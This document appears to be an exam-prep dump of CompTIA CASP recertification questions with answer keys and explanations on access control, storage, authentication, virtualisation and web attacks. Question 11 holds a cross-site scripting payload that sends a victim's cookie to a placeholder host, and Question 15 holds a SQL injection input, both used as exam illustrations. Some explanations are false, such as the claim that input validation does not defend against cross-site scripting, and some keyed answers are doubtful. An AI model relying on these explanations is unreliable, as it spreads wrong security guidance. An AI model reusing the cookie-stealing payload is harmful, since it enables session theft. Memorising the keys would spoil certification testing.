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RC0-C02 Exam

CompTIA Advanced Security Practitioner (CASP) Recertification Exam

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Version: 8.0

Question: 1

An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent abnormal application modifications or executions. Which of the following would BEST accomplish this?

- A. Access control lists
- B. SELinux
- C. IPtables firewall
- D. HIPS

Answer: B

Explanation:

The most common open source operating system is LINUX.

Security-Enhanced Linux (SELinux) was created by the United States National Security Agency (NSA) and is a Linux kernel security module that provides a mechanism for supporting access control security policies, including United States Department of Defense–style mandatory access controls (MAC).

NSA Security-enhanced Linux is a set of patches to the Linux kernel and some utilities to incorporate a strong, flexible mandatory access control (MAC) architecture into the major subsystems of the kernel. It provides an enhanced mechanism to enforce the separation of information based on confidentiality and integrity requirements, which allows threats of tampering and bypassing of application security mechanisms to be addressed and enables the confinement of damage that can be caused by malicious or flawed applications.

Incorrect Answers:

A: An access control list (ACL) is a list of permissions attached to an object. An ACL specifies which users or system processes are granted access to objects, as well as what operations are allowed on given objects. ACLs do not enable policy based flexible mandatory access controls to prevent abnormal application modifications or executions.

C: A firewall is used to control data leaving a network or entering a network based on source and destination IP address and port numbers. IPTables is a Linux firewall. However, it does not enable policy based flexible mandatory access controls to prevent abnormal application modifications or executions.

D: Host-based intrusion prevention system (HIPS) is an installed software package which monitors a single host for suspicious activity by analyzing events occurring within that host. It does not enable policy based flexible mandatory access controls to prevent abnormal application modifications or executions.

References:

https://en.wikipedia.org/wiki/Security-Enhanced_Linux

Question: 2

Company ABC's SAN is nearing capacity, and will cause costly downtimes if servers run out disk space. Which of the following is a more cost effective alternative to buying a new SAN?

- A. Enable multipath to increase availability
- B. Enable deduplication on the storage pools
- C. Implement snapshots to reduce virtual disk size
- D. Implement replication to offsite datacenter

Answer: B

Explanation:

Storage-based data deduplication reduces the amount of storage needed for a given set of files. It is most effective in applications where many copies of very similar or even identical data are stored on a single disk.

It is common for multiple copies of files to exist on a SAN. By eliminating (deduplicating) repeated copies of the files, we can reduce the disk space used on the existing SAN. This solution is a cost effective alternative to buying a new SAN.

Incorrect Answers:

A: Multipathing enables multiple links to transfer the data to and from the SAN. This improves performance and link redundancy. However, it has no effect on the amount of data on the SAN.

C: Snapshots would not reduce the amount of data stored on the SAN.

D: Replicating the data on the SAN to an offsite datacenter will not reduce the amount of data stored on the SAN. It would just create another copy of the data on the SAN in the offsite datacenter.

References:

https://en.wikipedia.org/wiki/Data_deduplication

Question: 3

A systems administrator establishes a CIFS share on a UNIX device to share data to Windows systems. The security authentication on the Windows domain is set to the highest level. Windows users are stating that they cannot authenticate to the UNIX share. Which of the following settings on the UNIX server would correct this problem?

- A. Refuse LM and only accept NTLMv2
- B. Accept only LM
- C. Refuse NTLMv2 and accept LM
- D. Accept only NTLM

Answer: A

Explanation:

In a Windows network, NT LAN Manager (NTLM) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN or LM), an older Microsoft product, and attempts to provide backwards compatibility with LANMAN. NTLM version 2 (NTLMv2), which was introduced in Windows NT 4.0 SP4 (and natively supported in Windows 2000), enhances NTLM security by hardening the protocol against many spoofing attacks, and adding the ability for a server

to authenticate to the client.

This question states that the security authentication on the Windows domain is set to the highest level. This will be NTLMv2. Therefore, the answer to the question is to allow NTLMv2 which will enable the Windows users to connect to the UNIX server. To improve security, we should disable the old and insecure LM protocol as it is not used by the Windows computers.

Incorrect Answers:

B: The question states that the security authentication on the Windows domain is set to the highest level. This will be NTLMv2, not LM.

C: The question states that the security authentication on the Windows domain is set to the highest level. This will be NTLMv2, not LM so we need to allow NTLMv2.

D: The question states that the security authentication on the Windows domain is set to the highest level. This will be NTLMv2, not NTLM (version1).

References:

https://en.wikipedia.org/wiki/NT_LAN_Manager

Question: 4

A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines. In addition to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules on the VMs. Which of the following will meet this goal without requiring any hardware pass-through implementations?

- A. vTPM
- B. HSM
- C. TPM
- D. INE

Answer: A

Explanation:

A Trusted Platform Module (TPM) is a microchip designed to provide basic security-related functions, primarily involving encryption keys. The TPM is usually installed on the motherboard of a computer, and it communicates with the remainder of the system by using a hardware bus.

A vTPM is a virtual Trusted Platform Module.

IBM extended the current TPM V1.2 command set with virtual TPM management commands that allow us to create and delete instances of TPMs. Each created instance of a TPM holds an association with a virtual machine (VM) throughout its lifetime on the platform.

Incorrect Answers:

B: A hardware security module (HSM) is a physical computing device that safeguards and manages digital keys for strong authentication and provides cryptoprocessing. These modules traditionally come in the form of a plug-in card or an external device that attaches directly to a computer or network server. This solution would require hardware pass-through.

C: A Trusted Platform Module (TPM) is a microchip designed to provide basic security-related functions, primarily involving encryption keys. The TPM is usually installed on the motherboard of a computer, and it communicates with the remainder of the system by using a hardware bus. Virtual machines cannot access a hardware TPM.

D: INE (intelligent network element) is not used for storing cryptographic keys.

References:

https://en.wikipedia.org/wiki/Hardware_security_module

http://researcher.watson.ibm.com/researcher/view_group.php?id=2850

Question: 5

A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume. Which of the following is the BEST way to ensure confidentiality of individual operating system data?

- A. Encryption of each individual partition
- B. Encryption of the SSD at the file level
- C. FDE of each logical volume on the SSD
- D. FDE of the entire SSD as a single disk

Answer: A

Explanation:

In this question, we have multiple operating system installations on a single disk. Some operating systems store their boot loader in the MBR of the disk. However, some operating systems install their boot loader outside the MBR especially when multiple operating systems are installed. We need to encrypt as much data as possible but we cannot encrypt the boot loaders. This would prevent the operating systems from loading.

Therefore, the solution is to encrypt each individual partition separately.

Incorrect Answers:

B: The question is asking for the BEST way to ensure confidentiality of individual operating system data. Individual file encryption could work but if files are ever added to the operating systems (for updates etc.), you would have to manually encrypt the new files as well. A better solution would be to encrypt the entire partition. That way any new files added to the operating system would be automatically encrypted.

C: You cannot perform full disk encryption on an individual volume. Full disk encryption encrypts the entire disk.

D: FDE of the entire SSD as a single disk would encrypt the boot loaders which would prevent the operating systems from booting.

Question: 6

After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart.

```
SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);
```

The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the \$USERINPUT variable and a timestamp in the form of MM-DD-YYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart's items?

- A. Input validation
- B. SQL injection
- C. TOCTOU
- D. Session hijacking

Answer: C

Explanation:

In this question, TOCTOU is being exploited to allow the user to modify the temp file that contains the price of the item.

In software development, time of check to time of use (TOCTOU) is a class of software bug caused by changes in a system between the checking of a condition (such as a security credential) and the use of the results of that check. This is one example of a race condition.

A simple example is as follows: Consider a Web application that allows a user to edit pages, and also allows administrators to lock pages to prevent editing. A user requests to edit a page, getting a form which can be used to alter its content. Before the user submits the form, an administrator locks the page, which should prevent editing. However, since editing has already begun, when the user submits the form, those edits (which have already been made) are accepted. When the user began editing, the appropriate authorization was checked, and the user was indeed allowed to edit. However, the authorization was used later, at a time when edits should no longer have been allowed. TOCTOU race conditions are most common in Unix between operations on the file system, but can occur in other contexts, including local sockets and improper use of database transactions.

Incorrect Answers:

A: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. The exploit in this question is not an example of input validation.

B: SQL injection is a type of security exploit in which the attacker adds Structured Query Language (SQL) code to a Web form input box to gain access to resources or make changes to data. The exploit in this question is not an example of a SQL injection attack.

D: Session hijacking, also known as TCP session hijacking, is a method of taking over a Web user session by obtaining the session ID and masquerading as the authorized user. The exploit in this question is not an example of session hijacking.

References:

https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use

Question: 7

The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data.

a. Which of the following issues may potentially occur?

- A. The data may not be in a usable format.
- B. The new storage array is not FCoE based.
- C. The data may need a file system check.
- D. The new storage array also only has a single controller.

Answer: B

Explanation:

Fibre Channel over Ethernet (FCoE) is a computer network technology that encapsulates Fibre Channel frames over Ethernet networks. This allows Fibre Channel to use 10 Gigabit Ethernet networks (or higher speeds) while preserving the Fibre Channel protocol.

When moving the disks to another storage array, you need to ensure that the array supports FCoE, not just regular Fiber Channel. Fiber Channel arrays and Fiber Channel over Ethernet arrays use different network connections, hardware and protocols. Fiber Channel arrays use the Fiber Channel protocol over a dedicated Fiber Channel network whereas FCoE arrays use the Fiber Channel protocol over an Ethernet network.

Incorrect Answers:

A: It is unlikely that the data will not be in a usable format. Fiber Channel LUNs appear as local disks on a Windows computer. The computer then creates an NTFS volume on the fiber channel LUN. The storage array does not see the NTFS file system or the data stored on it. FCoE arrays only see the underlying block level storage.

C: The data would not need a file system check. FCoE arrays use block level storage and do not check the file system. Any file system checks would be performed by a Windows computer. Even if this happened, the data would be accessible after the check.

D: The new storage array also having a single controller would not be a problem. Only one controller is required.

References:

https://en.wikipedia.org/wiki/Fibre_Channel_over_Ethernet

Question: 8

Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim's privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?

- A. Integer overflow
- B. Click-jacking
- C. Race condition
- D. SQL injection
- E. Use after free
- F. Input validation

Answer: E

Explanation:

Use-After-Free vulnerabilities are a type of memory corruption flaw that can be leveraged by hackers to execute arbitrary code.

Use After Free specifically refers to the attempt to access memory after it has been freed, which can cause a program to crash or, in the case of a Use-After-Free flaw, can potentially result in the execution of arbitrary code or even enable full remote code execution capabilities.

According to the Use After Free definition on the Common Weakness Enumeration (CWE) website, a Use After Free scenario can occur when "the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again

and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process."

Incorrect Answers:

A: Integer overflow is the result of an attempt by a CPU to arithmetically generate a number larger than what can fit in the devoted memory storage space. Arithmetic operations always have the potential of returning unexpected values, which may cause an error that forces the whole program to shut down. This is not what is described in this question.

B: Clickjacking is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. This is not what is described in this question.

C: A race condition is an undesirable situation that occurs when a device or system attempts to perform two or more operations at the same time, but because of the nature of the device or system, the operations must be done in the proper sequence to be done correctly. This is not what is described in this question.

D: SQL injection is a type of security exploit in which the attacker adds Structured Query Language (SQL) code to a Web form input box to gain access to resources or make changes to data. This is not what is described in this question.

F: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. This is not what is described in this question.

References:

<http://www.webopedia.com/TERM/U/use-after-free>

<https://en.wikipedia.org/wiki/Clickjacking>

<http://searchstorage.techtarget.com/definition/race-condition>

Question: 9

A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?

- A. Client side input validation
- B. Stored procedure
- C. Encrypting credit card details
- D. Regular expression matching

Answer: D

Explanation:

Regular expression matching is a technique for reading and validating input, particularly in web software. This question is asking about securing input fields where customers enter their credit card details. In this case, the expected input into the credit card number field would be a sequence of numbers of a certain length. We can use regular expression matching to verify that the input is indeed a sequence of numbers. Anything that is not a sequence of numbers could be malicious code.

Incorrect Answers:

A: Client side input validation could be used to validate the input into input fields. Client side input

validation is where the validation is performed by the web browser. However this question is asking for the BEST answer. A user with malicious intent could bypass the client side input validation whereas it would be much more difficult to bypass regular expression matching implemented in the application code.

B: A stored procedure is SQL code saved as a script. A SQL user can run the stored procedure rather than typing all the SQL code contained in the stored procedure. A stored procedure is not used for validating input.

C: Any stored credit card details should be encrypted for security purposes. Also a secure method of transmission such as SSL or TLS should be used to encrypt the data when transmitting the credit card number over a network such as the Internet. However, encrypting credit card details is not a way of securing the input fields in an application.

Question: 10

A security administrator was doing a packet capture and noticed a system communicating with an unauthorized address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network.

Which of the following is the BEST course of action?

- A. Investigate the network traffic and block UDP port 3544 at the firewall
- B. Remove the system from the network and disable IPv6 at the router
- C. Locate and remove the unauthorized 6to4 relay from the network
- D. Disable the switch port and block the 2001::/32 traffic at the firewall

Answer: A

Explanation:

The 2001::/32 prefix is used for Teredo tunneling.

Teredo is a transition technology that gives full IPv6 connectivity for IPv6-capable hosts that are on the IPv4 Internet but have no native connection to an IPv6 network. Unlike similar protocols, it can perform its function even from behind network address translation (NAT) devices such as home routers.

Teredo provides IPv6 (Internet Protocol version 6) connectivity by encapsulating IPv6 datagram packets within IPv4 User Datagram Protocol (UDP) packets. Teredo routes these datagrams on the IPv4 Internet and through NAT devices. Teredo nodes elsewhere on the IPv6 network (called Teredo relays) receive the packets, decapsulate them, and pass them on. The Teredo server listens on UDP port 3544.

Teredo clients are assigned an IPv6 address that starts with the Teredo prefix (2001::/32).

In this question, the BEST course of action would be to block UDP port 3544 at the firewall. This will block the unauthorized communication. You can then investigate the traffic within the network.

Incorrect Answers:

B: Disabling IPv6 at the router will not help if the IPv6 traffic is encapsulated in IPv4 frames using Teredo. The question also states that there is no IPv6 routing into or out of the network.

C: 6to4 relays work in a similar way to Teredo. However, the addresses used by 6to4 relays start with 2002:: whereas Teredo addresses start with 2001. Therefore, a 6to4 relay is not being used in this question so this answer is incorrect.

D: This question is asking for the BEST solution. Disabling the switch port would take the system connected to it offline and blocking traffic destined for 2001::/32 at the firewall would prevent

inbound Teredo communications (if you block the traffic on the inbound interface). However, blocking port UDP 3544 would suffice and investigating the traffic is always a better solution than just disconnecting a system from the network.

References:

https://en.wikipedia.org/wiki/Teredo_tunneling

Question: 11

A security administrator notices the following line in a server's security log:

```
<input          name='credentials'          type='TEXT'          value=""          +
request.getParameter('><script>document.location='http://badsite.com/?q='document.cookie</scri
pt>') + "";
```

The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?

- A. WAF
- B. Input validation
- C. SIEM
- D. Sandboxing
- E. DAM

Answer: A

Explanation:

The attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a Web Application Firewall.

A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and from the application. Running as an appliance, server plug-in or cloud-based service, a WAF inspects every HTML, HTTPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS, SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns in the traffic data.

A WAF can be either network-based or host-based and is typically deployed through a proxy and placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web application firewalls are a common security control used by enterprises to protect Web applications against zero-day exploits, impersonation and known vulnerabilities and attackers.

Incorrect Answers:

B: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. Input validation is not an effective defense against an XSS attack.

C: Security information and event management (SIEM) is an approach to security management used to provide a view of an organization's IT security. It is an information gathering process; it does not in itself provide security.

D: Sandboxing is a process of isolating an application from other applications. It is often used when

developing and testing new application. It is not used to defend against an XSS attack.

E: DAM (digital asset management) is a system that creates a centralized repository for digital files that allows the content to be archived, searched and retrieved. It is not used to defend against an XSS attack.

References:

<http://searchsecurity.techtarget.com/definition/Web-application-firewall-WAF>

Question: 12

A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the following trusted system concepts can be implemented?

- A. Software-based root of trust
- B. Continuous chain of trust
- C. Chain of trust with a hardware root of trust
- D. Software-based trust anchor with no root of trust

Answer: C

Explanation:

A Trusted Platform Module (TPM) is a microchip designed to provide basic security-related functions, primarily involving encryption keys. The TPM is usually installed on the motherboard of a computer, and it communicates with the remainder of the system by using a hardware bus.

A vTPM is a virtual Trusted Platform Module; a virtual instance of the TPM.

IBM extended the current TPM V1.2 command set with virtual TPM management commands that allow us to create and delete instances of TPMs. Each created instance of a TPM holds an association with a virtual machine (VM) throughout its lifetime on the platform.

The TPM is the hardware root of trust.

Chain of trust means to extend the trust boundary from the root(s) of trust, in order to extend the collection of trustworthy functions. Implies/entails transitive trust.

Therefore a virtual TPM is a chain of trust from the hardware TPM (root of trust).

Incorrect Answers:

A: A vTPM is a virtual instance of the hardware TPM. Therefore, the root of trust is a hardware root of trust, not a software-based root of trust.

B: The chain of trust needs a root. In this case, the TPM is a hardware root of trust. This answer has no root of trust.

D: There needs to be a root of trust. In this case, the TPM is a hardware root of trust. This answer has no root of trust.

References:

<https://www.cylab.cmu.edu/tiw/slides/martin-tiw101.pdf>

Question: 13

An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a

datacenter failure?

- A. Replicate NAS changes to the tape backups at the other datacenter.
- B. Ensure each server has two HBAs connected through two routes to the NAS.
- C. Establish deduplication across diverse storage paths.
- D. Establish a SAN that replicates between datacenters.

Answer: D

Explanation:

A SAN is a Storage Area Network. It is an alternative to NAS storage. SAN replication is a technology that replicates the data on one SAN to another SAN; in this case, it would replicate the data to a SAN in the backup datacenter. In the event of a disaster, the SAN in the backup datacenter would contain all the data on the original SAN.

Array-based replication is an approach to data backup in which compatible storage arrays use built-in software to automatically copy data from one storage array to another. Array-based replication software runs on one or more storage controllers resident in disk storage systems, synchronously or asynchronously replicating data between similar storage array models at the logical unit number (LUN) or volume block level. The term can refer to the creation of local copies of data within the same array as the source data, as well as the creation of remote copies in an array situated off site.

Incorrect Answers:

A: Replicating NAS changes to the tape backups at the other datacenter would result in a copy of the NAS data in the backup datacenter. However, the data will be stored on tape. In the event of a disaster, you would need another NAS to restore the data to.

B: Ensuring that each server has two routes to the NAS is not a viable solution. The NAS is still a single point of failure. In the event of a disaster, you could lose the NAS and all the data on it.

C: Deduplication is the process of eliminating multiple copies of the same data to save storage space. The NAS is still a single point of failure. In the event of a disaster, you could lose the NAS and all the data on it.

References:

<http://searchdisasterrecovery.techtarget.com/definition/Array-based-replication>

Question: 14

An application present on the majority of an organization's 1,000 systems is vulnerable to a buffer overflow attack. Which of the following is the MOST comprehensive way to resolve the issue?

- A. Deploy custom HIPS signatures to detect and block the attacks.
- B. Validate and deploy the appropriate patch.
- C. Run the application in terminal services to reduce the threat landscape.
- D. Deploy custom NIPS signatures to detect and block the attacks.

Answer: B

Explanation:

If an application has a known issue (such as susceptibility to buffer overflow attacks) and a patch is released to resolve the specific issue, then the best solution is always to deploy the patch.

A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information - which has to go somewhere - can overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common type of security attack on data integrity. In buffer overflow attacks, the extra data may contain codes designed to trigger specific actions, in effect sending new instructions to the attacked computer that could, for example, damage the user's files, change data, or disclose confidential information. Buffer overflow attacks are said to have arisen because the C programming language supplied the framework, and poor programming practices supplied the vulnerability.

Incorrect Answers:

A: This question is asking for the MOST comprehensive way to resolve the issue. A HIPS (Host Intrusion Prevention System) with custom signatures may offer some protection against an application that is vulnerable to buffer overflow attacks. However, an application that is NOT vulnerable to buffer overflow attacks (a patched application) is a better solution.

C: This question is asking for the MOST comprehensive way to resolve the issue. Running the application in terminal services may reduce the threat landscape. However, it doesn't resolve the issue. Patching the application to eliminate the threat is a better solution.

D: This question is asking for the MOST comprehensive way to resolve the issue. A NIPS (Network Intrusion Prevention System) with custom signatures may offer some protection against an application that is vulnerable to buffer overflow attacks. However, an application that is NOT vulnerable to buffer overflow attacks (a patched application) is a better solution.

References:

<http://searchsecurity.techtarget.com/definition/buffer-overflow>

Question: 15

```
select id, firstname, lastname from authors
```

```
User input= firstname= Hack;man
```

```
        lastname=Johnson
```

Which of the following types of attacks is the user attempting?

- A. XML injection
- B. Command injection
- C. Cross-site scripting
- D. SQL injection

Answer: D

Explanation:

The code in the question is SQL code. The attack is a SQL injection attack.

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Incorrect Answers:

A: The code in the question is not XML code. Therefore this is not an XML injection attack so this answer is incorrect.

B: Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. The code in the question is not the type of code you would use in a command injection attack.

C: Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. The code in the question is not the type of code you would use in an XSS attack.

References:

http://en.wikipedia.org/wiki/SQL_injection

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